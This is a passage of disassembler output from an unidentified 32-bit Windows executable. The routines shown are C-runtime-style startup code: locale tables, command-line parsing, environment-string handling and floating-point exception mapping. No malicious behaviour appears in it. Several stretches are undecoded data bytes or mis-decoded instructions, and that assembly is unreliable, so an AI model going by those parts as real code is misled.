dup(0), 0E8h dd 869054h, 0FCF8836Ch, 0E0A10F75h, 0C70045F8h, 45F8E805h dd 100h db 0, 0C3h ; =============== S U B R O U T I N E ======================================= sub_416FC6 proc near ; CODE XREF: sub_416DE3+118p ; sub_416DE3+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_416FF3 sub eax, 4 jz short loc_416FED sub eax, 0Dh jz short loc_416FE7 dec eax jz short loc_416FE1 xor eax, eax retn ; --------------------------------------------------------------------------- loc_416FE1: ; CODE XREF: sub_416FC6+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_416FE7: ; CODE XREF: sub_416FC6+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_416FED: ; CODE XREF: sub_416FC6+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_416FF3: ; CODE XREF: sub_416FC6+9j mov eax, 411h retn sub_416FC6 endp ; =============== S U B R O U T I N E ======================================= sub_416FF9 proc near ; CODE XREF: sub_416DE3:loc_416F66p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_460D80 rep stosd stosb xor eax, eax mov edi, offset dword_460C70 mov ds:dword_460C64, eax mov ds:dword_460C7C, eax mov ds:dword_460E84, eax stosd stosd stosd pop edi retn sub_416FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417022 proc near ; CODE XREF: sub_416DE3:loc_416F6Bp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push ds:dword_460C64 call near ptr 0CC0004h lock cmp eax, 1 jnz loc_41715B xor eax, eax mov esi, 100h loc_41704C: ; CODE XREF: sub_417022+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41704C mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41709D push ebx push edi lea edx, [ebp+var_D] loc_41706B: ; CODE XREF: sub_417022+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_417092 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_417092: ; CODE XREF: sub_417022+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41706B pop edi pop ebx loc_41709D: ; CODE XREF: sub_417022+42j push 0 lea eax, [ebp+var_514] push ds:dword_460E84 push ds:dword_460C64 push eax lea eax, [ebp+var_114] push esi push eax push 1 call loc_4180E4 push 0 lea eax, [ebp+var_214] push ds:dword_460C64 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push ds:dword_460E84 call loc_416B94 push 0 lea eax, [ebp+var_314] push ds:dword_460C64 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push ds:dword_460E84 call loc_416B94 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_417118: ; CODE XREF: sub_417022+135j mov dx, [ecx] test dl, 1 jz short loc_417136 or ds:byte_460D81[eax], 10h mov dl, [ebp+eax+var_214] loc_41712E: ; CODE XREF: sub_417022+127j mov ds:byte_460C80[eax], dl jmp short loc_417152 ; --------------------------------------------------------------------------- loc_417136: ; CODE XREF: sub_417022+FCj test dl, 2 jz short loc_41714B or ds:byte_460D81[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41712E ; --------------------------------------------------------------------------- loc_41714B: ; CODE XREF: sub_417022+117j and ds:byte_460C80[eax], 0 loc_417152: ; CODE XREF: sub_417022+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_417118 jmp short loc_4171A4 ; --------------------------------------------------------------------------- loc_41715B: ; CODE XREF: sub_417022+1Dj xor eax, eax mov esi, 100h loc_417162: ; CODE XREF: sub_417022+180j cmp eax, 41h jb short loc_417180 cmp eax, 5Ah ja short loc_417180 or ds:byte_460D81[eax], 10h mov cl, al add cl, 20h loc_417178: ; CODE XREF: sub_417022+174j mov ds:byte_460C80[eax], cl jmp short loc_41719F ; --------------------------------------------------------------------------- loc_417180: ; CODE XREF: sub_417022+143j ; sub_417022+148j cmp eax, 61h jb short loc_417198 cmp eax, 7Ah ja short loc_417198 or ds:byte_460D81[eax], 20h mov cl, al sub cl, 20h jmp short loc_417178 ; --------------------------------------------------------------------------- loc_417198: ; CODE XREF: sub_417022+161j ; sub_417022+166j and ds:byte_460C80[eax], 0 loc_41719F: ; CODE XREF: sub_417022+15Cj inc eax cmp eax, esi jb short loc_417162 loc_4171A4: ; CODE XREF: sub_417022+137j pop esi leave retn sub_417022 endp ; =============== S U B R O U T I N E ======================================= sub_4171A7 proc near ; CODE XREF: seg000:0041750Bp ; seg000:00417567p ; DATA XREF: ... cmp ds:dword_460EAC, 0 jnz short locret_4171C2 push 0FFFFFFFDh call sub_416DE3 pop ecx mov ds:dword_460EAC, 1 locret_4171C2: ; CODE XREF: sub_4171A7+7j retn sub_4171A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171C3 proc near ; CODE XREF: sub_4121E8+2Bp ; sub_4121E8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_460C7C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4171E7 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_411D00 add esp, 0Ch jmp short loc_41724A ; --------------------------------------------------------------------------- loc_4171E7: ; CODE XREF: sub_4171C3+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41722C mov ecx, [ebp+arg_4] loc_4171F2: ; CODE XREF: sub_4171C3+5Bj mov al, [ecx] dec edx movzx esi, al test ds:byte_460D81[esi], 4 mov [edi], al jz short loc_417216 inc edi inc ecx test edx, edx jz short loc_417222 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_417228 jmp short loc_41721C ; --------------------------------------------------------------------------- loc_417216: ; CODE XREF: sub_4171C3+3Ej inc edi inc ecx test al, al jz short loc_41722C loc_41721C: ; CODE XREF: sub_4171C3+51j test edx, edx jnz short loc_4171F2 jmp short loc_41722C ; --------------------------------------------------------------------------- loc_417222: ; CODE XREF: sub_4171C3+44j and byte ptr [edi-1], 0 jmp short loc_41722C ; --------------------------------------------------------------------------- loc_417228: ; CODE XREF: sub_4171C3+4Fj and byte ptr [edi-2], 0 loc_41722C: ; CODE XREF: sub_4171C3+2Aj ; sub_4171C3+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_417247 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_417247: ; CODE XREF: sub_4171C3+6Fj mov eax, [ebp+arg_0] loc_41724A: ; CODE XREF: sub_4171C3+22j pop edi pop ebp retn sub_4171C3 endp ; =============== S U B R O U T I N E ======================================= sub_41724D proc near ; CODE XREF: sub_41249F+16p ; sub_4126F3+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov ds:dword_45F848, ecx mov eax, offset dword_42E600 loc_41725E: ; CODE XREF: sub_41724D+1Ej cmp ecx, [eax] jz short loc_417282 add eax, 8 inc edx cmp eax, offset dword_42E768 jl short loc_41725E cmp ecx, 13h jb short loc_41728F cmp ecx, 24h ja short loc_41728F mov ds:dword_45F844, 0Dh retn ; --------------------------------------------------------------------------- loc_417282: ; CODE XREF: sub_41724D+13j mov eax, ds:dword_42E604[edx*8] mov ds:dword_45F844, eax retn ; --------------------------------------------------------------------------- loc_41728F: ; CODE XREF: sub_41724D+23j ; sub_41724D+28j cmp ecx, 0BCh jb short loc_4172A9 cmp ecx, 0CAh mov ds:dword_45F844, 8 jbe short locret_4172B3 loc_4172A9: ; CODE XREF: sub_41724D+48j mov ds:dword_45F844, 16h locret_4172B3: ; CODE XREF: sub_41724D+5Aj retn sub_41724D endp ; =============== S U B R O U T I N E ======================================= sub_4172B4 proc near ; CODE XREF: sub_41271D+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_417F9D test eax, eax pop ecx jz short loc_41733D cmp esi, offset dword_42E8A8 jnz short loc_4172D2 xor eax, eax jmp short loc_4172DD ; --------------------------------------------------------------------------- loc_4172D2: ; CODE XREF: sub_4172B4+18j cmp esi, offset dword_42E8C8 jnz short loc_41733D push 1 pop eax loc_4172DD: ; CODE XREF: sub_4172B4+1Cj inc ds:dword_45FA04 test word ptr [esi+0Ch], 10Ch jnz short loc_41733D cmp ds:dword_45F8EC[eax*4], 0 push ebx push edi lea edi, ds:45F8ECh[eax*4] mov ebx, 1000h jnz short loc_417323 push ebx call sub_410C0F test eax, eax pop ecx mov [edi], eax jnz short loc_417323 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_417330 ; --------------------------------------------------------------------------- loc_417323: ; CODE XREF: sub_4172B4+4Dj ; sub_4172B4+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_417330: ; CODE XREF: sub_4172B4+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41733D: ; CODE XREF: sub_4172B4+10j ; sub_4172B4+24j ... xor eax, eax pop esi retn sub_4172B4 endp ; =============== S U B R O U T I N E ======================================= sub_417341 proc near ; CODE XREF: sub_41271D+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41736B mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41737C push esi call sub_416419 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41736B: ; CODE XREF: sub_417341+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41737C push eax call sub_416419 pop ecx loc_41737C: ; CODE XREF: sub_417341+10j ; sub_417341+32j pop esi retn sub_417341 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_4174BF test eax, eax pop ecx jz loc_4174B3 mov ebx, [eax+8] test ebx, ebx jz loc_4174B3 cmp ebx, 5 jnz short loc_4173AF and dword ptr [eax+8], 0 push 1 pop eax jmp loc_4174BC ; --------------------------------------------------------------------------- loc_4173AF: ; CODE XREF: seg000:004173A1j cmp ebx, 1 jz loc_4174AE mov ecx, ds:dword_45F8F4 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov ds:dword_45F8F4, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41749E mov ecx, ds:dword_42E7E0 mov edx, ds:dword_42E7E4 add edx, ecx push esi cmp ecx, edx jge short loc_4173FE lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:42E770h[esi*4] loc_4173F5: ; CODE XREF: seg000:004173FCj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_4173F5 loc_4173FE: ; CODE XREF: seg000:004173E7j mov eax, [eax] mov esi, ds:dword_42E7EC cmp eax, 0C000008Eh jnz short loc_417419 mov ds:dword_42E7EC, 83h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_417419: ; CODE XREF: seg000:0041740Bj cmp eax, 0C0000090h jnz short loc_41742C mov ds:dword_42E7EC, 81h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_41742C: ; CODE XREF: seg000:0041741Ej cmp eax, 0C0000091h jnz short loc_41743F mov ds:dword_42E7EC, 84h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_41743F: ; CODE XREF: seg000:00417431j cmp eax, 0C0000093h jnz short loc_417452 mov ds:dword_42E7EC, 85h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_417452: ; CODE XREF: seg000:00417444j cmp eax, 0C000008Dh jnz short loc_417465 mov ds:dword_42E7EC, 82h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_417465: ; CODE XREF: seg000:00417457j cmp eax, 0C000008Fh jnz short loc_417478 mov ds:dword_42E7EC, 86h jmp short loc_417489 ; --------------------------------------------------------------------------- loc_417478: ; CODE XREF: seg000:0041746Aj cmp eax, 0C0000092h jnz short loc_417489 mov ds:dword_42E7EC, 8Ah loc_417489: ; CODE XREF: seg000:00417417j ; seg000:0041742Aj ... push ds:dword_42E7EC push 8 call ebx pop ecx mov ds:dword_42E7EC, esi pop ecx pop esi jmp short loc_4174A6 ; --------------------------------------------------------------------------- loc_41749E: ; CODE XREF: seg000:004173D0j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_4174A6: ; CODE XREF: seg000:0041749Cj mov eax, [ebp+8] mov ds:dword_45F8F4, eax loc_4174AE: ; CODE XREF: seg000:004173B2j or eax, 0FFFFFFFFh jmp short loc_4174BC ; --------------------------------------------------------------------------- loc_4174B3: ; CODE XREF: seg000:0041738Dj ; seg000:00417398j push dword ptr [ebp+0Ch] call ds:dword_41C188 ; UnhandledExceptionFilter loc_4174BC: ; CODE XREF: seg000:004173AAj ; seg000:004174B1j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4174BF proc near ; CODE XREF: seg000:00417385p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_42E7E8 cmp ds:dword_42E768, edx push esi mov eax, offset dword_42E768 jz short loc_4174EC lea esi, [ecx+ecx*2] lea esi, ds:42E768h[esi*4] loc_4174E1: ; CODE XREF: sub_4174BF+2Bj add eax, 0Ch cmp eax, esi jnb short loc_4174EC cmp [eax], edx jnz short loc_4174E1 loc_4174EC: ; CODE XREF: sub_4174BF+16j ; sub_4174BF+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:42E768h[ecx*4] cmp eax, ecx jnb short loc_4174FF cmp [eax], edx jz short locret_417501 loc_4174FF: ; CODE XREF: sub_4174BF+3Aj xor eax, eax locret_417501: ; CODE XREF: sub_4174BF+3Ej retn sub_4174BF endp ; --------------------------------------------------------------------------- cmp ds:dword_460EAC, 0 jnz short loc_417510 call sub_4171A7 loc_417510: ; CODE XREF: seg000:00417509j push esi mov esi, ds:dword_460EA4 mov al, [esi] cmp al, 22h jnz short loc_417542 loc_41751D: ; CODE XREF: seg000:00417535j ; seg000:00417538j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41753A test al, al jz short loc_41753A movzx eax, al push eax call sub_41959F test eax, eax pop ecx jz short loc_41751D inc esi jmp short loc_41751D ; --------------------------------------------------------------------------- loc_41753A: ; CODE XREF: seg000:00417523j ; seg000:00417527j cmp byte ptr [esi], 22h jnz short loc_41754C loc_41753F: ; CODE XREF: seg000:00417554j inc esi jmp short loc_41754C ; --------------------------------------------------------------------------- loc_417542: ; CODE XREF: seg000:0041751Bj cmp al, 20h jbe short loc_41754C loc_417546: ; CODE XREF: seg000:0041754Aj inc esi cmp byte ptr [esi], 20h ja short loc_417546 loc_41754C: ; CODE XREF: seg000:0041753Dj ; seg000:00417540j ... mov al, [esi] test al, al jz short loc_417556 cmp al, 20h jbe short loc_41753F loc_417556: ; CODE XREF: seg000:00417550j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp ds:dword_460EAC, ebx push esi push edi jnz short loc_41756C call sub_4171A7 loc_41756C: ; CODE XREF: seg000:00417565j mov esi, ds:dword_45F890 xor edi, edi loc_417574: ; CODE XREF: seg000:0041758Aj mov al, [esi] cmp al, bl jz short loc_41758C cmp al, 3Dh jz short loc_41757F inc edi loc_41757F: ; CODE XREF: seg000:0041757Cj push esi call sub_410B60 pop ecx lea esi, [esi+eax+1] jmp short loc_417574 ; --------------------------------------------------------------------------- loc_41758C: ; CODE XREF: seg000:00417578j lea eax, ds:4[edi*4] push eax call sub_410C0F mov esi, eax pop ecx cmp esi, ebx mov ds:dword_45F86C, esi jnz short loc_4175AE push 9 call sub_412ADE pop ecx loc_4175AE: ; CODE XREF: seg000:004175A4j mov edi, ds:dword_45F890 cmp [edi], bl jz short loc_4175F1 push ebp loc_4175B9: ; CODE XREF: seg000:004175EEj push edi call sub_410B60 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_4175EA push ebp call sub_410C0F cmp eax, ebx pop ecx mov [esi], eax jnz short loc_4175DD push 9 call sub_412ADE pop ecx loc_4175DD: ; CODE XREF: seg000:004175D3j push edi push dword ptr [esi] call sub_411B70 pop ecx add esi, 4 pop ecx loc_4175EA: ; CODE XREF: seg000:004175C6j add edi, ebp cmp [edi], bl jnz short loc_4175B9 pop ebp loc_4175F1: ; CODE XREF: seg000:004175B6j push ds:dword_45F890 call sub_410C83 pop ecx mov ds:dword_45F890, ebx mov [esi], ebx pop edi pop esi mov ds:dword_460EA8, 1 pop ebx retn ; --------------------------------------------------------------------------- db 55h dd 5151EC8Bh, 39DB3353h, 460EAC1Dh, 75575600h, 0FB7DE805h dd 0F8BEFFFFh, 680045F8h, 104h, 0C9E85356h, 0F3008C89h dd 460EA4A1h, 7C358900h, 8B0045F8h, 741838FEh, 8DF88B02h dd 8D50F845h, 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h dd 88048DFCh, 95A1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h dd 0B460E808h, 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h dd 57565086h, 17E8h, 0FC458B00h, 4814C483h, 0F8643589h dd 5E5F0045h, 45F860A3h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4176AC proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_4176D6 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4176D6: ; CODE XREF: sub_4176AC+20j cmp byte ptr [eax], 22h jnz short loc_41771F loc_4176DB: ; CODE XREF: sub_4176AC+58j ; sub_4176AC+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41770D test dl, dl jz short loc_41770D movzx edx, dl test ds:byte_460D81[edx], 4 jz short loc_417700 inc dword ptr [ecx] test esi, esi jz short loc_417700 mov dl, [eax] mov [esi], dl inc esi inc eax loc_417700: ; CODE XREF: sub_4176AC+46j ; sub_4176AC+4Cj inc dword ptr [ecx] test esi, esi jz short loc_4176DB mov dl, [eax] mov [esi], dl inc esi jmp short loc_4176DB ; --------------------------------------------------------------------------- loc_41770D: ; CODE XREF: sub_4176AC+36j ; sub_4176AC+3Aj inc dword ptr [ecx] test esi, esi jz short loc_417717 and byte ptr [esi], 0 inc esi loc_417717: ; CODE XREF: sub_4176AC+65j cmp byte ptr [eax], 22h jnz short loc_417762 inc eax jmp short loc_417762 ; --------------------------------------------------------------------------- loc_41771F: ; CODE XREF: sub_4176AC+2Dj ; sub_4176AC+A5j inc dword ptr [ecx] test esi, esi jz short loc_41772A mov dl, [eax] mov [esi], dl inc esi loc_41772A: ; CODE XREF: sub_4176AC+77j mov dl, [eax] inc eax movzx ebx, dl test ds:byte_460D81[ebx], 4 jz short loc_417745 inc dword ptr [ecx] test esi, esi jz short loc_417744 mov bl, [eax] mov [esi], bl inc esi loc_417744: ; CODE XREF: sub_4176AC+91j inc eax loc_417745: ; CODE XREF: sub_4176AC+8Bj cmp dl, 20h jz short loc_417753 test dl, dl jz short loc_417757 cmp dl, 9 jnz short loc_41771F loc_417753: ; CODE XREF: sub_4176AC+9Cj test dl, dl jnz short loc_41775A loc_417757: ; CODE XREF: sub_4176AC+A0j dec eax jmp short loc_417762 ; --------------------------------------------------------------------------- loc_41775A: ; CODE XREF: sub_4176AC+A9j test esi, esi jz short loc_417762 and byte ptr [esi-1], 0 loc_417762: ; CODE XREF: sub_4176AC+6Ej ; sub_4176AC+71j ... and [ebp+arg_10], 0 loc_417766: ; CODE XREF: sub_4176AC+19Ej cmp byte ptr [eax], 0 jz loc_41784F loc_41776F: ; CODE XREF: sub_4176AC+D0j mov dl, [eax] cmp dl, 20h jz short loc_41777B cmp dl, 9 jnz short loc_41777E loc_41777B: ; CODE XREF: sub_4176AC+C8j inc eax jmp short loc_41776F ; --------------------------------------------------------------------------- loc_41777E: ; CODE XREF: sub_4176AC+CDj cmp byte ptr [eax], 0 jz loc_41784F test edi, edi jz short loc_417793 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_417793: ; CODE XREF: sub_4176AC+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_417798: ; CODE XREF: sub_4176AC+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4177A1: ; CODE XREF: sub_4176AC+FCj cmp byte ptr [eax], 5Ch jnz short loc_4177AA inc eax inc ebx jmp short loc_4177A1 ; --------------------------------------------------------------------------- loc_4177AA: ; CODE XREF: sub_4176AC+F8j cmp byte ptr [eax], 22h jnz short loc_4177DB test bl, 1 jnz short loc_4177D9 xor edi, edi cmp [ebp+arg_10], edi jz short loc_4177C8 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_4177C8 mov eax, edx jmp short loc_4177CB ; --------------------------------------------------------------------------- loc_4177C8: ; CODE XREF: sub_4176AC+10Dj ; sub_4176AC+116j mov [ebp+arg_0], edi loc_4177CB: ; CODE XREF: sub_4176AC+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_4177D9: ; CODE XREF: sub_4176AC+106j shr ebx, 1 loc_4177DB: ; CODE XREF: sub_4176AC+101j mov edx, ebx dec ebx test edx, edx jz short loc_4177F0 inc ebx loc_4177E3: ; CODE XREF: sub_4176AC+142j test esi, esi jz short loc_4177EB mov byte ptr [esi], 5Ch inc esi loc_4177EB: ; CODE XREF: sub_4176AC+139j inc dword ptr [ecx] dec ebx jnz short loc_4177E3 loc_4177F0: ; CODE XREF: sub_4176AC+134j mov dl, [eax] test dl, dl jz short loc_417840 cmp [ebp+arg_10], 0 jnz short loc_417806 cmp dl, 20h jz short loc_417840 cmp dl, 9 jz short loc_417840 loc_417806: ; CODE XREF: sub_4176AC+14Ej cmp [ebp+arg_0], 0 jz short loc_41783A test esi, esi jz short loc_417829 movzx ebx, dl test ds:byte_460D81[ebx], 4 jz short loc_417822 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_417822: ; CODE XREF: sub_4176AC+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_417838 ; --------------------------------------------------------------------------- loc_417829: ; CODE XREF: sub_4176AC+162j movzx edx, dl test ds:byte_460D81[edx], 4 jz short loc_417838 inc eax inc dword ptr [ecx] loc_417838: ; CODE XREF: sub_4176AC+17Bj ; sub_4176AC+187j inc dword ptr [ecx] loc_41783A: ; CODE XREF: sub_4176AC+15Ej inc eax jmp loc_417798 ; --------------------------------------------------------------------------- loc_417840: ; CODE XREF: sub_4176AC+148j ; sub_4176AC+153j ... test esi, esi jz short loc_417848 and byte ptr [esi], 0 inc esi loc_417848: ; CODE XREF: sub_4176AC+196j inc dword ptr [ecx] jmp loc_417766 ; --------------------------------------------------------------------------- loc_41784F: ; CODE XREF: sub_4176AC+BDj ; sub_4176AC+D5j test edi, edi jz short loc_417856 and dword ptr [edi], 0 loc_417856: ; CODE XREF: sub_4176AC+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_4176AC endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, ds:dword_45F9FC push ebx push ebp mov ebp, ds:dword_41C03C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4178AE call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41788F mov ds:dword_45F9FC, 1 jmp short loc_4178B7 ; --------------------------------------------------------------------------- loc_41788F: ; CODE XREF: seg000:00417881j call ds:dword_41C040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_417989 mov ds:dword_45F9FC, 2 jmp loc_41793D ; --------------------------------------------------------------------------- loc_4178AE: ; CODE XREF: seg000:00417879j cmp eax, 1 jnz loc_417938 loc_4178B7: ; CODE XREF: seg000:0041788Dj cmp esi, ebx jnz short loc_4178C7 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_417989 loc_4178C7: ; CODE XREF: seg000:004178B9j cmp [esi], bx mov eax, esi jz short loc_4178DC loc_4178CE: ; CODE XREF: seg000:004178D3j ; seg000:004178DAj inc eax inc eax cmp [eax], bx jnz short loc_4178CE inc eax inc eax cmp [eax], bx jnz short loc_4178CE loc_4178DC: ; CODE XREF: seg000:004178CCj sub eax, esi mov edi, ds:dword_41C11C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41792D push ebp call sub_410C0F cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41792D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_417929 push dword ptr [esp+10h] call sub_410C83 pop ecx mov [esp+10h], ebx loc_417929: ; CODE XREF: seg000:00417919j mov ebx, [esp+10h] loc_41792D: ; CODE XREF: seg000:004178F9j ; seg000:00417908j push esi call ds:dword_41C044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41798B ; --------------------------------------------------------------------------- loc_417938: ; CODE XREF: seg000:004178B1j cmp eax, 2 jnz short loc_417989 loc_41793D: ; CODE XREF: seg000:004178A9j cmp edi, ebx jnz short loc_41794D call ds:dword_41C040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_417989 loc_41794D: ; CODE XREF: seg000:0041793Fj cmp [edi], bl mov eax, edi jz short loc_41795D loc_417953: ; CODE XREF: seg000:00417956j ; seg000:0041795Bj inc eax cmp [eax], bl jnz short loc_417953 inc eax cmp [eax], bl jnz short loc_417953 loc_41795D: ; CODE XREF: seg000:00417951j sub eax, edi inc eax mov ebp, eax push ebp call sub_410C0F mov esi, eax pop ecx cmp esi, ebx jnz short loc_417973 xor esi, esi jmp short loc_41797E ; --------------------------------------------------------------------------- loc_417973: ; CODE XREF: seg000:0041796Dj push ebp push edi push esi call sub_4105F0 add esp, 0Ch loc_41797E: ; CODE XREF: seg000:00417971j push edi call near ptr 3D0000h mov ebx, 2EBC68Bh loc_417989: ; CODE XREF: seg000:00417899j ; seg000:004178C1j ... xor eax, eax loc_41798B: ; CODE XREF: seg000:00417936j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: seg000:00412A57p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_410C0F mov esi, eax pop ecx test esi, esi jnz short loc_4179B2 push 1Bh call sub_412ADE pop ecx loc_4179B2: ; CODE XREF: seg000:004179A8j mov ds:dword_460B60, esi mov ds:dword_460C60, 20h lea eax, [esi+100h] loc_4179C8: ; CODE XREF: seg000:004179E4j cmp esi, eax jnb short loc_4179E6 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, ds:dword_460B60 add esi, 8 add eax, 100h jmp short loc_4179C8 ; --------------------------------------------------------------------------- loc_4179E6: ; CODE XREF: seg000:004179CAj lea eax, [esp+10h] push eax call near ptr 0BE0004h mov eax, ds:247C8366h inc edx add [edi], cl test al, ch ; --------------------------------------------------------------------------- dw 0 dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h dd 2E1C8DF0h, 0F08B027Ch, 0C603539h, 527D0046h, 460B64BFh dd 1006800h, 0DCE80000h, 85FFFF91h, 387459C0h, 0C600583h dd 89200046h, 888D07h, 3B000001h, 801873C1h, 83000460h dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h dd 353904C7h, 460C60h, 6EBBB7Ch, 0C60358Bh, 0FF330046h dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h dd 0B7508C1h, 856AE850h, 8553FFFBh, 8B1E74C0h, 0C1CF8BC7h dd 0E18305F8h, 85048B1Fh, 460B60h, 8BC8048Dh, 8A08890Bh dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 460B60A1h dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 15E850F5h, 61007E85h dd 0FF83F88Bh, 571774FFh, 808507E8h, 0C0853800h, 0FF250C74h dd 89000000h, 2F8833Eh, 4E800675h, 0FEB4004h, 7503F883h dd 44E800Ah, 8004EB08h, 4380044Eh, 7C03FB83h, 6035FF9Bh dd 0E800460Ch, 8284D0h, 5D5E5F07h, 44C4835Bh, 0CCCCCCC3h dd 30324356h, 30304358h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B48 proc near ; DATA XREF: seg000:004129F2o ; sub_4150ED+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, 